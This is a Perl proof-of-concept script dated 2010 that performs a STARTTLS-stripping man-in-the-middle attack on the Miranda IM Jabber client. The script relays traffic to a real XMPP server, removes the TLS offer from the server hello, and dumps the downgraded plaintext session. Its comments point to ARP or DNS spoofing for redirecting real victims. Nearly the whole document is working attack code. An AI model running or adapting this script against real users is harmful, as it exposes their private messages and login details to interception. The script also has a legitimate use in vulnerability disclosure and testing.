Miranda IM TLS MitM Proof Of Concept

`#!/usr/bin/perl  
  
# Miranda IM TLS MitM Proof of Concept  
# by Jan Schejbal, 2010-03-19  
  
# MAY WORK WITHOUT MODIFICATIONS AGAINST OTHER CLIENTS WITH THIS ISSUE!  
# Generally: Will work if client also accepts unencrypted connections  
# if the server reports that TLS is not supported.  
  
# Tested only on WinXP SP3 with ActivePerl 5.10.0  
# against Miranda 0.8.16  
  
# Usage:  
# 1. Setup variables below, unless you want to test against jabber.ccc.de  
# (note that this script does not do real XML parsing. Other servers  
# might have slightly different code that will not be detected.  
# In such a case, connecting will lock up. Adapt the RegExp below.)   
# 2. Make 'victim' connect to this server instead of real server  
# Network->Jabber->Account->Manually specify connection host  
# (real attacks would use ARP spoofing, DNS spoofing or similar.)  
# 3. Enable 'Use TLS'  
# (make sure that 'Disable SASL' on advanced is UNCHECKED,  
# as it silently disables TLS!)  
# 4. Start script and connect with miranda  
# 5. If all works, the dump goes to STDOUT, state is shown on STDERR.  
# (All traffic should be sent in plain now!)  
  
  
use strict;  
use warnings;  
  
use IO::Socket;  
use IO::Select;  
  
my $server = 'jabber.ccc.de';  
my $port = 5222;  
my $listenport = $port;  
  
my $sock = new IO::Socket::INET(  
LocalHost => '0.0.0.0',  
LocalPort => $listenport,  
Proto => 'tcp',  
Listen => 1,  
Reuse => 1,  
);  
  
print STDERR "Listening on $listenport for jabber connections\n";  
print STDERR "Will forward to $server:$port\n";  
  
my $client_connection = $sock->accept();  
  
print STDERR "Incoming connection\n";  
  
my $server_connection = new IO::Socket::INET(  
PeerAddr => $server,  
PeerPort => $port,  
Proto => 'tcp',  
);  
  
print STDERR "Connected to server\n";  
  
$server_connection->blocking(0);  
$client_connection->blocking(0);  
  
  
my $sel = IO::Select->new();  
$sel->add($server_connection);  
$sel->add($client_connection);  
  
my $server_hello_done = 0;  
my $server_hello_data;  
  
my $readdata;  
my @ready;  
while(@ready = $sel->can_read()) {  
foreach my $ready_conn (@ready) {  
if (!sysread($ready_conn, $readdata, 10000)) {  
print STDERR "\nReading failed!\n";  
exit(1);  
}  
print "$readdata\n";  
if ($ready_conn == $server_connection) {  
# read was from server  
if (!$server_hello_done) {  
$server_hello_data .= $readdata;  
print STDERR "\nCurrent server hello buf: $server_hello_data\n\n";  
if ($server_hello_data =~ s|<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>||) {  
print STDERR "removed STARTTLS offer from server hello\n";  
$server_hello_done = 1;  
print $client_connection $server_hello_data;  
print STDERR "\nforwarded cached server hello buf: \n$server_hello_data\n\n";  
print STDERR "MitM complete. Forwarding data ('<' = to client, '>' = to server)\n";  
}  
} else {  
print $client_connection $readdata;  
if ($server_hello_done) { print STDERR '<'; }  
}  
  
} else {  
# read was from client, send to server  
print $server_connection $readdata;  
if ($server_hello_done) { print STDERR '>'; }  
}  
}  
}  
`